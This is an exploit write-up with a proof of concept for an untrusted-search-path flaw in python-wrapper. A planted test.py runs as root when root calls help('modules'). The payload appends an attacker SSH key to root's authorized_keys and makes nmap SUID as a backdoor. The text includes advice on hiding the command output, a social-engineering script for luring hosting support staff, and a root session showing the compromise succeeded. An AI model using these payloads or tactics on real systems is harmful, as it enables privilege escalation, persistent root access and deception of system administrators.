# python-wrapper untrusted search path/code execution vulnerability
#
# Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules').
# A non-priviledged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper
# while within a non-priviledged user's work directory.
#
# The evil file MUST be titled test.py! os.system("evilcommand") will result in python-wrapper executing said command, and then continuing normally
# with no signs of compromise if you redirect command output. os.system("/bin/echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys") does not
# work, however os.system("/bin/echo $(echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys)") does.
#
#
# Additionally, nmap makes a great backdoor from a non-priviledged user account because it's something that looks like you might actually
# want SETUID under certain circumstances, but not really(and it will bitch if invoked). In nmap 5.31DC1 the most useful switch(--interactive) was removed
# which previously allowed you to bang out a shell(!/bin/csh, but not bash). Thank you David/Juan Carlos Castro for breaking one of my favorites.
# NOW however there is the nmap scripting engine to exploit. As usual, the input-output commands will behave like any exploitable SETUID program
# with input-output commands.
#
#
# A practical example of how this vulnerability could be useful is if you wish to attack a shared webhosting enviornment.
# After convincing root(support) to cd in to your directory, perhaps by uploading a broken "distraction.py" and getting him to troubleshoot it,
# you could pose the question: "Hey, what python modules do you guys have installed?" "I'm not quite sure how to list that..."
# "You can list the modules installed by entering python-wrapper, and typing help('modules')" "Oh!" *silent test.py execution by root*
# "There's a lot of them... would you like them as an email attachment?" "Yeah, thanks. I think I'll look at that and try troubleshooting this more myself".
#
#
# - ShadowHatesYou (Shadow@SquatThis.net)
# 6/30/12
root@tourian:/home/shadow/python# ls -hl test.py
-rw-r--r-- 1 shadow shadow 137 Jun 30 13:06 test.py
root@tourian:/home/shadow/python# cat test.py
#!/bin/python
import os
os.system('/bin/echo $(echo "ssh-rss pwned byshadow" >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap')
root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap
root@tourian:/home/shadow/python# ls -hl /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
root@tourian:/home/shadow/python# python-wrapper
Python 2.7.3 (default, May 4 2012, 00:13:26)
[GCC 4.6.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')
Please wait a moment while I gather a list of all available modules...
ArgImagePlugin _bisect email pprint
BaseHTTPServer _codecs encodings pptransport
Bastion _codecs_cn errno ppworker
BdfFontFile _codecs_hk exceptions profile
BeautifulSoup _codecs_iso2022 fcntl pstats
BeautifulSoupTests _codecs_jp filecmp pty
BitTornado _codecs_kr fileinput pwd
BmpImagePlugin _codecs_tw fnmatch py_compile
BufrStubImagePlugin _collections formatter pyclbr
CDROM _cracklib fpformat pydoc
CGIHTTPServer _csv fractions pydoc_data
ConfigParser _ctypes ftplib pyexpat
ContainerIO _ctypes_test functools pyrit_cli
Cookie _curses future_builtins pyximport
Crypto _curses_panel gamin quopri
CurImagePlugin _elementtree gc random
Cython _emerge gdbm re
DLFCN _functools genericpath readline
DcxImagePlugin _gamin gentoolkit repoman
DocXMLRPCServer _gv getopt repr
EpsImagePlugin _hashlib getpass resource
ExifTags _heapq gettext rexec
FitsStubImagePlugin _hotshot git_remote_helpers rfc822
FliImagePlugin _imaging glob rlcompleter
FontFile _imagingft grp robotparser
FpxImagePlugin _imagingmath gv rrdtool
GbrImagePlugin _io gzip runpy
GdImageFile _json hashlib scapy
GifImagePlugin _lcms heapq sched
GimpGradientFile _ldns hmac scipy
GimpPaletteFile _locale hotshot select
GribStubImagePlugin _lsprof htmlentitydefs sets
HTMLParser _md5 htmllib setuptools
Hdf5StubImagePlugin _multibytecodec httplib sgmllib
IN _multiprocessing ihooks sha
IcnsImagePlugin _pyio imaplib shelve
IcoImagePlugin _random imghdr shlex
ImImagePlugin _sha imp shutil
Image _sha256 importlib signal
ImageChops _sha512 imputil site
ImageCms _socket inspect smtpd
ImageColor _sre io smtplib
ImageDraw _ssl itertools sndhdr
ImageDraw2 _strptime java_config_2 socket
ImageEnhance _struct javatoolkit spwd
ImageFile _symtable json sre
ImageFileIO _testcapi keyword sre_compile
ImageFilter _threading_local lcms sre_constants
ImageFont _unbound ldns sre_parse
ImageGL _warnings ldnsx ssl
ImageGrab _weakref lib2to3 stat
ImageMath _weakrefset libsvn statvfs
ImageMode _xmlplus libxml2 string
ImageOps abc libxml2mod stringold
ImagePalette aifc libxslt stringprep
ImagePath antigravity libxsltmod strop
ImageQt anydbm linecache struct
ImageSequence argparse linuxaudiodev subprocess
ImageShow array locale sunau
ImageStat ast logging sunaudio
ImageTk asynchat lxml svn
ImageTransform asyncore macpath symbol
ImageWin atexit macurl2path symtable
ImtImagePlugin audiodev magic sys
IptcImagePlugin audioop mailbox sysconfig
JpegImagePlugin base64 mailcap syslog
McIdasImagePlugin bdb markupbase tabnanny
MicImagePlugin binascii marshal tarfile
MimeWriter binhex math telnetlib
MpegImagePlugin bisect md5 tempfile
MspImagePlugin bs4 mhlib termios
OleFileIO bz2 mimetools test
OpenIPMI cPickle mimetypes textwrap
PAM cProfile mimify this
PIL cStringIO mirrorselect thread
PSDraw calendar mmap threading
PaletteFile cgi modulefinder time
PalmImagePlugin cgitb multifile timeit
PcdImagePlugin chunk multiprocessing toaiff
PcfFontFile cmath mutex token
PcxImagePlugin cmd netrc tokenize
PdfImagePlugin code netsnmp trace
PixarImagePlugin codecs new traceback
PngImagePlugin codeop nis tty
PpmImagePlugin collections nntplib types
PsdImagePlugin colorsys ntpath unbound
Queue commands nturl2path unboundmodule
SgiImagePlugin compileall numbers unicodedata
SimpleHTTPServer compiler numpy unittest
SimpleXMLRPCServer contextlib opcode urllib
SocketServer cookielib operator urllib2
SpiderImagePlugin copy optparse urlparse
StringIO copy_reg os user
SunImagePlugin cpyrit os2emxpath uu
TYPES cracklib ossaudiodev uuid
TarIO crypt paramiko warnings
TiffImagePlugin ctypes pdb weakref
TiffTags curses pickle webbrowser
UserDict cython pickletools whichdb
UserList datetime pipes wsgiref
UserString dbm pkg_resources xattr
WalImageFile decimal pkgutil xcbgen
WmfImagePlugin difflib platform xdelta3main
XVThumbImagePlugin dircache plistlib xdrlib
XbmImagePlugin dis popen2 xen
XpmImagePlugin distutils poplib xml
_LWPCookieJar dnet portage xmllib
_MozillaCookieJar doctest posix xmlrpclib
_OpenIPMI drv_libxml2 posixfile xxsubtype
__builtin__ dumbdbm posixpath yasm
__future__ dummy_thread pp zipfile
_abcoll dummy_threading ppauto zipimport
_ast easy_install ppcommon zlib
Enter any module name to get more help. Or, type "modules spam" to search
for modules whose descriptions contain the word "spam".
>>> quit()
root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap
-rwsr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap
root@tourian:/home/shadow/python# cat /root/.ssh/authorized_keys
ssh-rss pwned byshadow
# Wish I had DuoSecurity!
# See you at Defcon!
